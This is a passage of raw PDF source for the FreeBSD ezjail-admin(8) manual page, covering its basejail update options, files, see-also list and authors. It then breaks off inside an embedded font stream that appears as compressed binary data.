v)15(ersion or CPU architecture do not match the current host.)]TJ +/TT4 1 Tf +-5.9 -2.4 TD +(ezjail-admin )Tj +7.5138 0 TD +(update)Tj +/TT6 1 Tf +-5.7138 -1.2 TD +0.0514 Tw +[(Updates ezjail)55(s)-301.4(basejail, or in the)]TJ +/TT3 1 Tf +14.2208 0 TD +0 Tw +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(b)Tj +/TT6 1 Tf +0.9015 0 TD +(or)Tj +/TT3 1 Tf +1.301 0 TD +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(i)Tj +/TT6 1 Tf +0.9015 0 TD +0.0514 Tw +[(case, install a FreeBSD w)10(orld from source to be used as base-)]TJ +-18.525 -1.2 TD +0 Tw +(jail.)Tj +0 -1.8 TD +[(Exactly one of the follo)25(wing operand must be speci)]TJ +/TT11 1 Tf +20.5805 0 TD +()Tj +/TT6 1 Tf +0.5562 0 TD +(ed:)Tj +/TT3 1 Tf +-20.97 -1.8 TD +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(b)Tj +/TT6 1 Tf +3.3333 0 TD +0.2411 Tw +[(Build a w)10(orld from source and install it as the \(updated\) basejail.)-741.1(mak)10(e)-491.1(b)20(uildw)10(orld; mak)10(e)]TJ +0 -1.2 TD +0 Tw +[(install)10(w)10(orld by def)10(ault using the sources located at)]TJ +/TT10 1 Tf +20.9641 0 TD +(/usr/src)Tj +/TT6 1 Tf +5.0508 0 TD +[(\(b)20(ut see the)]TJ +/TT3 1 Tf +5.006 0 TD +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(s)Tj +/TT6 1 Tf +0.8501 0 TD +(option\).)Tj +-32.4711 -1.8 TD +0.1362 Tw +[(As the old basejail is not deleted, b)20(ut merely o)15(v)15(erwritten, this usually lea)20(v)15(e)0(s)-386.3(all jails in a state)]TJ +0 -1.2 TD +0 Tw +[(where the)15(y)-250(still )]TJ +/TT11 1 Tf +6.4 0 TD +()Tj +/TT6 1 Tf +0.5562 0 TD +-0.0001 Tc +0.0001 Tw +[(nd older v)14.9(ersions of libraries the)14.9(y)-250.1(were link)9.9(ed against.)]TJ +/TT3 1 Tf +-10.8896 -1.8 TD +0 Tc +0 Tw +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(i)Tj +/TT6 1 Tf +3.3333 0 TD +-0.016 Tc +0.039 Tw +[(A)-16(s)-16( a)-16(b)-16(ove )-15(bu)-16(t)-16( )]TJ +5.5459 0 TD +0 Tc +0.0229 Tw +[(only perform a mak)10(e)-272.9(install)10(w)10(orld, assuming the w)10(orld has already been b)20(uilt. That)]TJ +-5.5459 -1.2 TD +0 Tw +[(is highly lik)10(ely since it is recommended to update the basejail along with the host system.)]TJ +/TT3 1 Tf +-3.9334 -1.8 TD +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(u)Tj +/TT6 1 Tf +3.3333 0 TD +(Use)Tj +/TT10 1 Tf +2.0595 0 TD +(freebsd-update)Tj +/TT6 1 Tf +8.4014 0 TD +0.2543 Tw +(\(8\) to update the basejail. Note that as)Tj +/TT10 1 Tf +17.446 0 TD +0 Tw +(freebsd-update)Tj +/TT6 1 Tf +8.4014 0 TD +0.2543 Tw +(\(8\) uses)Tj +-36.3082 -1.2 TD +0 Tw +()Tj +/TT10 1 Tf +0.4438 0 TD +0.1434 Tw +(uname -r)Tj +/TT6 1 Tf +4.9442 0 TD +[()-393.4(t)0(o)-393.4(determine the currently running system, the base jail and the host need to be)]TJ +-5.388 -1.2 TD +0 Tw +[(updated at the same time, without rebooting on the ne)25(w)-250(k)10(ernel in the meantime.)]TJ +/TT3 1 Tf +-3.9334 -1.8 TD +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(U)Tj +/TT6 1 Tf +3.3333 0 TD +(Use)Tj +/TT10 1 Tf +1.8167 0 TD +(freebsd-update)Tj +/TT6 1 Tf +8.4014 0 TD +0.0115 Tw +[(\(8\) to upgrade the basejail to the hosts operating system v)15(ersion, or a v)15(e)0(r)20(-)]TJ +-10.218 -1.2 TD +0.1295 Tw +[(sion you may pass freebsd-update)55(s)-379.5(call to uname -r via the)]TJ +/TT10 1 Tf +26.2776 0 TD +0 Tw +(UNAME_r)Tj +/TT6 1 Tf +4.5801 0 TD +0.1294 Tw +[(en)40(vironment v)25(ariable.)]TJ +-30.8577 -1.2 TD +0.1302 Tw +[(Since there currently is no w)10(ay of infering the osv)15(ersion currently installed in the basejail, you)]TJ +T* +0 Tw +[(need to remember the original osv)15(ersion and pass it to this script using the)]TJ +/TT3 1 Tf +30.0901 0 TD +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(s)Tj +/TT6 1 Tf +0.8501 0 TD +(option.)Tj +/TT3 1 Tf +-35.4737 -1.8 TD +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(P)Tj +/TT6 1 Tf +3.3333 0 TD +0.0512 Tw +(Install only the ports tree, assuming the basejail has already been created. This can be done while)Tj +0 -1.2 TD +0 Tw +(jails are running. The)Tj +/TT10 1 Tf +8.8027 0 TD +(portsnap)Tj +/TT6 1 Tf +4.8008 0 TD +[(\(8\) utility is in)40(v)20(o)0(k)10(e)0(d)-250(t)0(o)-250(d)0(o)-250(the actual w)10(ork.)]TJ +-17.7035 -1.8 TD +[(The follo)25(wing options are a)20(v)25(ailable:)]TJ +/TT3 1 Tf +0.1666 -1.8 TD +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(p)Tj +/TT6 1 Tf +3.3333 0 TD +0.0638 Tw +[(Gi)25(v)15(e)15( )-15(the ne)25(w)-313.8(basejail a cop)10(y)-313.8(o)0(f)-313.8(FreeBSD)55(s)-313.8(ports tree. The)]TJ +/TT10 1 Tf +24.1758 0 TD +0 Tw +(portsnap)Tj +/TT6 1 Tf +4.8008 0 TD +0.0638 Tw +[(\(8\) utility is in)40(v)20(o)0(k)10(e)0(d)-313.9(t)0(o)-313.9(d)0(o)]TJ +-28.9766 -1.2 TD +0 Tw +[(the actual w)10(ork.)]TJ +/TT3 1 Tf +-3.9334 -1.8 TD +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(s)Tj +/TT8 1 Tf +1.2001 0 TD +(sourcedir)Tj +/TT6 1 Tf +6.0009 0 TD +(|)Tj +/TT8 1 Tf +0.8002 0 TD +(sourceosversion)Tj +/TT6 1 Tf +-4.6679 -1.2 TD +0.1957 Tw +(In the)Tj +/TT3 1 Tf +3.1127 0 TD +0 Tw +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(b)Tj +/TT6 1 Tf +1.3958 0 TD +(and)Tj +/TT3 1 Tf +2.0561 0 TD +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(i)Tj +/TT6 1 Tf +1.3957 0 TD +0.1956 Tw +(case: Use the sources in)Tj +/TT8 1 Tf +10.7802 0 TD +0 Tw +(sourcedir)Tj +/TT6 1 Tf +5.8465 0 TD +0.1956 Tw +(instead of)Tj +/TT10 1 Tf +4.5567 0 TD +0 Tw +(/usr/src)Tj +/TT6 1 Tf +4.8008 0 TD +[(.)-695.6(V)111(ariable:)]TJ +-35.1448 -1.2 TD +()Tj +/TT10 1 Tf +0.4438 0 TD +($ezjail_sourcetree)Tj +/TT6 1 Tf +10.8018 0 TD +(.)Tj +-11.2456 -1.8 TD +0.0907 Tw +(In the)Tj +/TT3 1 Tf +2.9027 0 TD +0 Tw +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(U)Tj +/TT6 1 Tf +1.2908 0 TD +0.0907 Tw +[(case: P)15(ass this release tag to)]TJ +/TT10 1 Tf +12.0263 0 TD +0 Tw +(freebsd-update)Tj +/TT6 1 Tf +8.4014 0 TD +0.0908 Tw +[(\(8\) as the source OS v)15(ersion of the)]TJ +-25.2212 -1.2 TD +0 Tw +(basejail.)Tj +-4.1 -1.8 TD +(See the)Tj +/TT4 1 Tf +3.1655 0 TD +(install)Tj +/TT6 1 Tf +4.4507 0 TD +(sub command to install the basejail from binary packages.)Tj +-7.6162 -1.8 TD +[(If the basejail is managed in its o)25(wn ZFS )]TJ +/TT11 1 Tf +16.6112 0 TD +()Tj +/TT6 1 Tf +0.5562 0 TD +(lesystem, a snapshot of that )Tj +/TT11 1 Tf +11.2759 0 TD +()Tj +/TT6 1 Tf +0.5562 0 TD +[(lesystem is tak)10(en )]TJ +/TT11 1 Tf +7.072 0 TD +()Tj +/TT6 1 Tf +0.5562 0 TD +(rst.)Tj +/TT2 1 Tf +-39.6276 -2.4 TD +(FILES)Tj +/TT10 1 Tf +3 -1.2 TD +(EZJAIL_PREFIX/bin/ezjail-admin)Tj +T* +(EZJAIL_PREFIX/etc/rc.d/ezjail)Tj +T* +(EZJAIL_PREFIX/etc/ezjail.conf)Tj +T* +(EZJAIL_PREFIX/share/examples/ezjail/)Tj +T* +(EZJAIL_PREFIX/etc/ezjail/)Tj +/TT14 1 Tf +15.0024 0 TD +<009b>Tj +/TT10 1 Tf +-15.0024 -1.2 TD +(/usr/etc/fstab.)Tj +/TT14 1 Tf +9.0015 0 TD +<009b>Tj +/TT2 1 Tf +-12.0015 -2.4 TD +0.1666 Tw +(SEE ALSO)Tj +/TT10 1 Tf +3 -1.2 TD +0 Tw +(ezjail)Tj +/TT6 1 Tf +3.6006 0 TD +(\(7\),)Tj +/TT10 1 Tf +1.666 0 TD +(ezjail.conf)Tj +/TT6 1 Tf +6.6011 0 TD +(\(8\),)Tj +/TT10 1 Tf +1.666 0 TD +(jail)Tj +/TT6 1 Tf +2.4004 0 TD +(\(8\),)Tj +/TT10 1 Tf +1.666 0 TD +(devfs)Tj +/TT6 1 Tf +3.0005 0 TD +(\(5\),)Tj +/TT10 1 Tf +1.666 0 TD +(fdescfs)Tj +/TT6 1 Tf +4.2007 0 TD +(\(5\),)Tj +/TT10 1 Tf +1.666 0 TD +(procfs)Tj +/TT6 1 Tf +3.6006 0 TD +(\(5\),)Tj +/TT10 1 Tf +1.666 0 TD +(portsnap)Tj +/TT6 1 Tf +4.8008 0 TD +(\(8\).)Tj +-41.2007 -6 TD +15.998 Tw +[(FreeBSD January)-250(15, )15998(2011)-19470(6)]TJ +ET +endstream +endobj +28 0 obj +<< +/ProcSet [/PDF /Text ] +/Font << +/TT2 4 0 R +/TT3 5 0 R +/TT4 6 0 R +/TT6 7 0 R +/TT8 8 0 R +/TT10 9 0 R +/TT11 10 0 R +/TT14 29 0 R +>> +/ExtGState << +/GS1 12 0 R +>> +>> +endobj +31 0 obj +<< +/Length 920 +>> +stream +BT +/TT6 1 Tf +10 0 0 10 72 744 Tm +0 g +/GS1 gs +0 Tc +-0.0834 Tw +[(EZJ)60(AIL-ADMIN \(8\))-8296.9(User)55(s)-250(Supplementary )-83.4(Documents)-8296.9(EZJ)60(AIL-ADMIN \(8\))]TJ +/TT2 1 Tf +0 -4.8 TD +0 Tw +[(A)50(UTHOR)]TJ +/TT6 1 Tf +3 -1.2 TD +(Dirk Engling)Tj +/TT14 1 Tf +5.4995 0 TD +<009d>Tj +/TT6 1 Tf +0.3291 0 TD +[(erdgeist@erdgeist.or)18(g)]TJ +/TT14 1 Tf +8.817 0 TD +<009c>Tj +/TT6 1 Tf +0.3291 0 TD +(.)Tj +-14.9747 -1.8 TD +0.0755 Tw +(The man page is based on a draft by JoeB)Tj +/TT14 1 Tf +17.6944 0 TD +0 Tw +<009d>Tj +/TT6 1 Tf +0.3291 0 TD +[(joeb1@a1po)25(weruser)55(.com)]TJ +/TT14 1 Tf +10.1431 0 TD +<009c>Tj +/TT6 1 Tf +0.6545 0 TD +0.0754 Tw +[(and w)10(as re)25(written by Frederic Perrin)]TJ +/TT14 1 Tf +-28.8211 -1.2 TD +0 Tw +<009d>Tj +/TT6 1 Tf +0.3291 0 TD +(frederic.perrin@resel.fr)Tj +/TT14 1 Tf +9.4707 0 TD +<009c>Tj +/TT6 1 Tf +0.3291 0 TD +(.)Tj +-13.1289 -61.2 TD +15.998 Tw +[(FreeBSD January)-250(15, )15998(2011)-19470(7)]TJ +ET +endstream +endobj +32 0 obj +<< +/ProcSet [/PDF /Text ] +/Font << +/TT2 4 0 R +/TT6 7 0 R +/TT14 29 0 R +>> +/ExtGState << +/GS1 12 0 R +>> +>> +endobj +12 0 obj +<< +/Type /ExtGState +/SA false +/SM 0.02 +/OP false +/op false +/OPM 1 +/BG2 /Default +/UCR2 /Default +/HT /Default +/TR2 /Default +>> +endobj +33 0 obj +<< +/Type /FontDescriptor +/Ascent 753 +/CapHeight 562 +/Descent -246 +/Flags 262151 +/FontBBox [-113 -250 749 801] +/FontName /JFEBGA+Courier-Bold +/ItalicAngle 0 +/StemV 133 +/XHeight 439 +/StemH 84 +/FontFile2 34 0 R +>> +endobj +34 0 obj +<< +/Filter /FlateDecode +/Length 24054 +/Length1 172192 +>> +stream +HMlgJycҀI;8q^qINر$]v:i!@hHLHHLv@C8 !CHpBïҿ}cA|W'/.o=AX(}Ż]|_AՊռz׃ϼxvA𵚟oߺJ7}_{c~}Kσ+ܺx_+wG?uUky߉;?h?~|Ϳ x>\y +.\>qī~_ϣg{;c{{~ O0/_uT},A/<F5\( v<if>c8=ּgjםu^oϙ[;w}1ycOر8DZ_ߛ?85a\Wgy3n =hk7OCG;&t65V +B!?C!?a0?SS¦#?G#?GQ(?G1?c1?q8?q9q8O'I$x< O'I$y<I$O'ɓI$y<I$O'œIxR<)O'œIxfxfxfxfxfxfxfxfxfxfxfxfLϴLϴLϴLϴLϴL4?ßg3 ?ßq&#'#'#'#gNΜ99srə3'gΙ99sr9dy:-޲z-޲:_~9엳_~9엳_ONV~9Y߼7oyo~߼3r,Y gA΂9 r,Y` 佃w<y<O'ϓ佃wP +A;(wP +A;(x,mQoz[E`;XE̢3rrv+ڭS)꠨sE+עފz[ےޖ%gYےޖ%-ޖ,gYβޖe-mYoz[ۊVb?mEo+z[ۊV³ʳUmUoz[۪VU`Uo%V[Io%V/K%_/e2_/ +_W+ +_WU*_WUMMMMMMMMMMMMM_k5_ooooooooooooou:_u:*Ao7 o +o7M&o7Moiiiiiiiiٗ/g_ξ}gٗ/g_ξ}9r9s @z>|=蹭綞zn빭綞zn빭綞zn빭玞;z蹣玞;z蹣玞;z蹣玞|C=PχGGGGGGGGGGGG1118???????w].w]. {=}>}>??C!?C!?G#?G#99999999..ɪ*9 s<t场rB]s^Q +H$%dkM٫{s_{.K/ῄ1c? 1c?8q?8q'O? 'O?$I'O?$I'O? +)SO? +iO?4iO? 3g? 3g?,Yg?9s?9sGu!<y<y? /_)SO">E|)SħO">E|)S§O >%|J)O PƧO2>e|)SƧO2>|*TSSO +Ya?+gU~V*Ye?gUW_ÿ 5k_ÿ /㿌2/㿌2/㿌2u_ǿ:u_ǿ 7o 7o$O<M4$O<M4$O<M"EyZiEyZiEyZiMԹMԹMԹMԹMԹMԹC;ԹC;ԹC;ԹC;ԹC;ԹCL<֥n]j%K.꒫Szw풯xuy}꒳G=b{GꑷG=c{>9cS>uS>uS>9ԥze@] 7`:`2.9.eqg4dC!~C!Ӑiې!q#Fo#zD܈7b#{D9GsĞuoxL11fcbĎVwLmfB 8qB]&e~LXNP 1!vB5OϔomJ]L;%)SO?%~J)7nM7Us 넭vm~a ;X!vÅ!HaG ;Z1Žvㅝ Da' ;Y)NvӅ!Lag (la;Wyv mv]"Ra \6 RU®vk]'za[ lIXLX\XBXRXJXZXFXVXNX^XAXQXIXYXEXUXMز}@LυRد)>a {LأgaO=#ia +{N ž +K?&Ua {c-z~\'}FrX-aͳu>+_U*lWWfyUobGbw\Nʢתּ8O +{E؏}LYUk4s{~A2 +Z*^YHH +MؾWol^Ŷle~#no܃+/^.{aQ "koϱ{ho +DoJmnv [=8"p=$>2bėe$oGa)d @>-^& o +]d}Wׄ}]@؏L"/L΃@AJI;G{,lAAT6¶텽Kػ lGargrg C؞  ;;X&w\~5cy + L a ;Dءv+8a˙~;q5cYY֌O_3>Cbv&}XpkJ&a Te.v®vk]f|Aؒ0yEa%aeaaUa5ašZ:ºz†&¦nH3g"r,|rEgJ!*=CTz>Q}GDgJ)*RTɲ;:г~w<;|=.g [+9ٜx~γ9fsn^g6C+9fs>2we-ʷ(ʢ7YgŽv[&vaww_p-a +O= Aa {XUG=*1a {Bؓžg=+9a {AK^W&uao{S[ޖ-0yDNȝJD΃9"rDM9JŽ&o}"/γm 77n77&B(B(B0!BBB(LzPpa +M0/C/CC/}'LC &}Y(}Yx &=M(}m(}m(}wxSIJ!Lag (la;Wy¤g/&=px]"Ra \6 RU®vk(QE –ńŅ%%::8~{BJ+[. A "iXj\"@0#؈Z!D)]m+P@[TPѦX[ s>3g}u93 sY8l ؍`cJƁ++�6&I`7UMV 6*[n6lLY``l؝`5`w6lB^%`-l`{l9C`[$Z{`ρ�VM`�}`/'`?ث`l;]`^{l^}`;v(1`'>21g`-y~įLU&QkY,g`~20? J +9FC֐5w544܇4~ _�{l%c`pp:j``48 =NCjz0+(0 &`,k )6` XX>X[Nk ς Sw +5v X`}jk`_:7F V +6l<XX9`*&M +V6 l: `n{+0 +̽3+fWU 3̕s@!2@> 0!@+JR ̕ r,'0 +̟R<̩YJ`&IfR3L*/L*2N 5&@^]`;`qf\W`FM`{ m߃v; `k`G dy,_>ko``'>6s@7M>{@7 {@7M`:u+� Y, Vv6XO^`>v>`] f+\ +6 f53 `_6K`]6 J`W}l̰fX3 k\k`50k7mF 6F``ƃM�v$*`^50_͡c3`ׅ''#y+y!y!9 9 B&oA;�=BF!{C!dw;B x9l0� l[lۀA~`-g B.mv.w{m,`[-V Bn瀝 d^ B浐y-d^ ^ Bo-[; |k!Zȷ,k!ZȲ,k!ZȲ,kGAe-dY YBe-V Be-dY YBe-dY; ,k!ZȲ2Li!SZȔ2� 6*[n6lLY``l; Vv\y``w-l1ؽ`9®{l-S`0XA`ρ3ƾ�)"ȔdcY1A:߫!EٹLG,A Do"2%`G"F#h,X9zz==AOG`#m6~A&aIU2=7YfTzv ltNSQz6>Ս^^Fmp]h[,2[^«_^Wkzw\\i[F]bZe2kU˨ܠ^^-du2=\GM +0\*sO f0Z !xK^+ jȠɋǟ<�`sݳ.wQ)^-^m:׫LU֫yu{>ӫ;xug^OgdE'2k rj' xmC8'pNW!wƖY$IvsxuSս^^] cUVu^率s7\]mMz_6/@;ͩTUn:m㧹=q^Hӎ_閪7\u[u n-sk[gu[s +qz6enwpn=֓קZVQ5A- Yn,vEnWv=nyqnWvn{'sݮ&}n~nQ0 3vR"%5zMj:EJ$*-Ys$Guzu|n:Ectnbik՛joIm1٪b<Wp3< +ԡL(3VNWMU5Ԫj3>ZUjh;Msz2G%kdw K@-ITϴAj%|UbWzSJWZ3S_ѵaD5j,W+.JS[tN<~GV*ζJW pUG>{}/! ~KDېRK +!b4lk!HjiL6b̠ өd̨h5EQhU?[ +!owϾwse{9=i 5s]ZzhͺA+MqBi�%('&Qe[tQTQAJz +;t\blzFI-VH|kh=4Q-T:/ռ'kD bX]U_<B!NZoV8c% +D/,oߩjFAۣҏzN&_(VR0N (qS{AjEcqBQZLN.׀rU9T,T.iŚu*2u+֬Tz ek,*%H~m3H"?=.}F+}NY%?[i&ƥ6Ra〪T%pFF_z|>Bg/df-,I=!csA ndmx^?u@~xЏ} �s(TLA,z)hh-yIہ[a~5vP�%`\Ѳ)B '\[iYH, j;"SS6R9 /{ ,qŴm.d=Os+mv[ٞ2M)S$Dn^ŗ� F1e+$58w|[eOv=  9>@w?cQhOѱC5?�zI]U> ༁o8cEh ^>ǙR,;&R\D<u�)Gqy&QyHǢb<c+~1}y1ahXޑv5{i˂Mη9fNr\y[oh#mΏ@!}LM4튒G{EUn$�LMEWD7Go [ nxؾX˯[v3liDvwu+oq*&;Āw31i4qYjm[9w=uG]o2Fx1/ +]sƏ^͚Sܑ[hw&V;lt=[uUjl0tKSu|]Q'czudzN}C{w +U|sś( +<~`` 6URI{n]oCz XGnfN3w䱅I3v҃:;k:B|[s7C#5\K[2wsAS6H¸aMfvl CV܋=H `^ us`g9a8b4b -�1 + va P[1h�2-WΩҼ}0?kЗf,E̟˺zf7^�]A,+O;ݸ 8,Ҹ9oj]%78E *G\ܞRRpwu%JOu\l ue᱔ܾ.ׂ[Uz;.2Tw1Su?kǞղgy>t]+k�zODׁ!<n9,xi8{d9ek.9. Z cKCb[zF|=sq2ߙdiyΫ-�ǥ̇j9|9m[ 2]+Ϩ*qP9J>'DBˠQ +͠TZFʑh RryyL#oa|CO(\9Z(:rV'D)lsilM, ST ȃD pϪ1s^S?F[h3@M@sns.:9;Ӵ + +X ? QT>C6GQF]"."b 7'Aq4\+xTxt7#m77(Y5ԥxإK�qZ΢)OgX_|B/hz'wzS2RUo0U4񝌿UnUOa@/Џ\[5U* ]~ih4ƕ D~ym_lG%D; t}/Qj:5NI>{鰘m&Mg:{MMIg*&,qR%fvT^]{r$)xw_ĩڽ1.9rC=iy3{n9{(Aq?+qہI B #..ąIb^GRtqI\ҡgzZgCe}Z@vǀ(Cc[PmUTW5uh x7($>-GeŨt̴VFۣWgKO4/3QpgOgc+zQ=(ZoMT\/`}Qqgz^͂k}=fy~IQ\qwvaObXvwvCFo> CA@@Q" (J$Q c z]Sٙf?z~{뀭 O̸1͌Bz7ȸEg0I5 Waekg,>;BzwlH. #yKQ/EW˴qoǸRԫJ/65K_߅q쁟7|͠ae|+ط-E #-E#; C} +'1>3ه;"# "_TΟ]g99v/<_u͌Tk~UB eH.wV{&2K+!^Vꚭsb#f7uynQlDtc\<'򸠘2&ɹO CfL)roMdL KuΒ9c咳2z<0*XI:,K(7`+2lUȳJ͌J< +تn;_wZJմj:.ϛF!b26/6R-,c+9mx[ގ2 c:ʹs.2vs7Bt 1=<lu OyxYW΃>32i7r +1fƱAq63`#}JMĘ"ae5S!3ld;Faαuy|>_@Ŗ2>1.|.qZCr_!σb+#aĮ*-E=*5|-?ׅsAim|$!fk;{' o.Q$ w12IJX3FbJ(*]{:U2NyʳxqLntED2b)Tb1݌QdJ{-1EI*OUtutM_aNH\&83n<$S-$3Q"+3YlC%+U[Kf*OBb:`%^rr+~iKVVAC +eU3U#Y.j(_e5HV5LISYmg`զ%#'6 6$6"66#U٬s%+ʳ(Kp}RX兲YOX:fĖV6ĶfHlbV[굅YZ)~^ocX[7ISgX{h;T{+ZɎә؅ؕ؍؝ÌQ%�_]UKݔgz(T�*a=HzZd}>;ϯ~$R=&ޣ⾔8@? T1KLBJFNAIEm~We>)9XyN!*~aï?c#>F*(VB9F\D6tI{6^+=S}ĉIGE^cUʯo~ 6dT4t L,l3RefӔ.+9]y%g(ORT{S,QU[߸!\Ǽc;CE]Ǽc9Чa +8$ѯ㫠g1Aw1ނ}'ECh<hX R\ ϡq|*p|qO4U8weQWFM:�}Ԏk>mC-@h91 2XY\epqxFĢŢĭ>]en,XT՘HZ~*|5~,kb \Im'aS'6C~UC ĵc>I!2loFz 4ĭhXEobq},땈'i#t8ڕKCOr4:Kh Xyn@KHGoDo;Ir;Th<i6to3É(KhTj'z1'z ‰wrupuw:$wc<nrY}n!qqI]Fwrzpﹱnw{=8@S.g^BN؞4s ³ 5t㺩*n&Ri?/BŌgRnhI{:Z >4 X3XCd7u6*cI6X,Kq‡{$k}p_$# /f-,kE\yrՠk˭b' +?\t ֪Z/{6m͢"}�ڊ4R4Jh*QMTRb+Fdb +1U%;6mڢ#}�ڊ4QQC"y*3YlC #[F[dL4DRMjNUB6mś5n4QGj@lHltK6mw +ӘTSeEL6.ӌTkbb[b;b{bbGbupڴicL C2PE<9Mt-2mKj UB[dLWmJ "5*-2D6Q%CKG/cD@j"qq2q +ז+UMH"-c*3%#'. >@\H\D\L|0(ȵ$t-2mY&5'*MM_7 +#+I=J\C\{K6mw +uLhwm]I|4qq:8mڴ1&z-!|[}("H$>t-2meL73Q{ycaioB?<b̽@B +!4RB.]@I^D؁ETA^IEE,wvr߼]wl{~d{f?V]F2fX&Sx0U7#ܔ6夺MfT6]9΂q' Uγ0VW܎+(Q9VN*MHai<KS*Ym妺Ņ83qr[n+7MJ]^RWlʆ)q .Ƶtu�GNFl dcx%Ʃ͘ܙE9nWN;6Mc3,w"p%Y9rJ`R,F*KgXrM(=.y8(wrˤ�D|>[QH^Px}nat .P C@CI(R SE$() +;sF:T  +TjPj3PZԦ:PA}h� yhhph +͠k-<ppw;BP !|toOǿyB2O�m)ӑ38R[g.!o5TV.<o5oF3gE] ԁPH]X0a.",Xz~,wdɆԇU?tlz+sVw|T*wkvjP^t̠Sߞrwkϭ;nm5"gl{(IuA2tB7x2ݡ'/zU}`$fIrxՠPx VKwM}`q$hQNώ +5[0ކ0 &Sf +Li4πw]}{fp||`Z\ba=btǙ=\By :^d XO6)|F륜(jWP|AT+ +VjZX)6fV&6N�ۜxAj_np>0~CB{8j(1 ?)~; N)8 g,y�Yp "} Þ+Wmxn/?aǷ,ַ-w:qW{p!<Utjvfӱ"]э;Գ(<d4siЅKWޜ>Ed.*X 8bcb p,)۩e5-T)C6F[AX]q[Ol"gE!JQ"EBU4LNJ2VLU5h~kszU5g(jbmIX֕! >6 6_7RDff[_he"E\'gmz b;l#^脝 nk4ܹ٪٪,W븷A֗a=t zŵW)֯Q *0~]B!ӝUo +HGqkO1bTo 5Ɖ8 '(3wi~rƉC:iгÎ3 zPs9Q,j~L\H1_ .էQ,\ev)[~++)V_S|E8Zz܀qn܊p; ^Þ]<gXg>9^ g</r|jvLwOI<ų)viAy"pl_B]AW l79f9odM%ۍCoλ=q|ϠvP?͖4N� +;gAB989}8}9pq,Y33333gg8gIH(hR19prqs&pLL,Ǚ̙™Ygg:gE J \f, .6"jUT';zЅbAQ z_CBdaQ`^2Ќ"gNW""S2"bWC1betL :E&1 {aLq"C]ʛ1TlhaR>1\ܱ=j1B#ŮOQZ:EM5u0FT7ciog{9^MtƉL<0^j&]-bW|eoI"!͘,)Nv**>t *]gt{(2}!CO]h4�Rz +t@B*.鑠͙4y =4p=O2 P34oӠP5jc=&s k4.>?EkP}=4ӠjbjEMz B>QЮ4Sg6jZ)D/DQqf"iMQǁ43vL_ 5=H_i>JV ":#B 0^_dL[] R>ҺcA 2D̊WF`A"TRD)VPO/1QEc41;j4+y쾷]dvVwϽyΛyݼNFw)jlqlݘM*jEV_J;ZjwiOk>+j_J/;s]jF'0?eJ# o@Dҽ[:F8y>h\T=v2¥z*6#/VՄ𫜿JuuU.naO Z #LZ4,(B*G<'0ah+=4} +#hƢDR?20" cIw0-[7d. U3|Y0 j:$Y>N_0vD [ I\3S #,Sz.{*{$Ps3vJQ\[Eԩy|<p]K&c]5gp߾{Mn4q^F!uFAp/'[ #lZ(RnJ k+&=P,$F)|J<m*F`)F +WPqɥHՓi'#\J=盛h1RJmUMo~ww_8s]]s # >-/v~^+&=PjȆU4gfǘO+{h=vFVvB)ӥneԾaĘFn2>KZT.N$F^ȳZ`^Ůy`pY0 j:$Ƀ|za [0A]U2jwd;a>I[;;DIXG%fl픢L}S1P*myVqHK&cD5˧rF$8g-p׹0Z0 +R̳GYMda 㜡<m2l˴] +.$XogL$."w;/rY\W1|| |L2E,ab`?/ Y)| >eËٙKk99<gwf"Wr.orW, IHHTI;=pt#v K<^/x{YLἕjy[Vñǥ#d\Sy_*|!=cp@-K9BUr8C9xm<An_9ؽ2HPe/'ȉ2N[Lr5'<kdL8p6`#Ǚ8IƗ̗ +_Z:c[L]\/YRVIV\vޔWvb{#܎+>Ư'"\#w [Eg!oF> }-Ĺ's$\JR=bO̐<e[^:cfb6P0k5򎬖GbOȮ;kk9O}]yGqj|)Ǟ$9LX#H<88 8y;MR+(c@O!2LFpr2>,Ƈ/KTNrIr +O2IBg/GOZhc;U{zxHv׵}+8?ʒfmg`ffݰDF 'g^UWO>͟{$st_=_՞OlVc]gƉI>Z l\?f77=q//~Η~o:m@-3TbKՖŖT@L5@qv7``'`&1>4Hl֯U7zM>uIWmwBgl5+wж#v]ұ[ڮͼ~7{x=7}fgz'f`=985or$jxߍ@GoL;o3G\8dqldq[>1|(1oh<W}fmSpoyU}mӖbs5ZT/*tLcګcQ2; uU*=T9aoUUCk[l]խP!ӹ߯BC#6džeF#ϥ6FfFjs"1Q٘Ѧ(-y^M&D]a;)'rr95N@dIslNOgkr"gFSSѳ#ϫ)vN蹑;gW.(va<q 2S|y6'otny5Xyv-U`mAK<Apy9+#ϩvUNmW7?,zGȵ~_Yns"7jw)y~q 2lܖx@mg<(8~7󶰰omaTR.1cC1D(&y5DO0.wV^"?X{<!9{o}3oo^Z^h㝆lF9]>:lu}EcxwxᄠĠI4NC}J6cS.{Cǝ ȡ̅g ȅ3}p}܏ ^@ 4 Um/t; /V9W$\""UA5%\x~kᆠF7 7U8W$5-zߞCݑ [ݕ g~p"}pcr~?�=pGB*6I{OTN;S~&r"s:;x/?տ{~1r"!+_ \sHzH=E7C*9S}H{oq̅oq3rw&?}u3]fѡHӽݳ,Gbힽf9{\#yힽr$^ &mNBA{ .ŝX$tjb'Jq;IʔCTTMDytv'̶Ϣ!4a0Z# + ^a00QXJXZ$,#,+,'LVVVVVVVV  +  >*|L0UTL\BIaKa+akaa[a;a{SBEb#,:Wd$Σ<u[</<#<t^ BaOQy1)K[g2wQeRPY::aXTVEw],5ð}Kz0Lԣ)YާJ oDI:ob] ;4 qySJys\@UyK\@: +ѶaXY*:`<m<c]u;j95uZɺv<yg TO/Lѕlוq+P>.X]qOy7zDݭ{b=1 )Uo'oߡf: X Q IRW޳JW>6:lO;BtqlW|J=A{15-Oi9ϠQ 1ЉA'a{/CCغ+P#c^bk:t }9"$6eM>^_v(X7UVl'5S[֯qXmp84q +7#n>g>ʇ#/bP=KoBӡoA'A߁NGC@@BӠàCp?CC +P/Ao; +ߓw=>* MNQ<w:g3砸 ZE?PUбPx>J>* 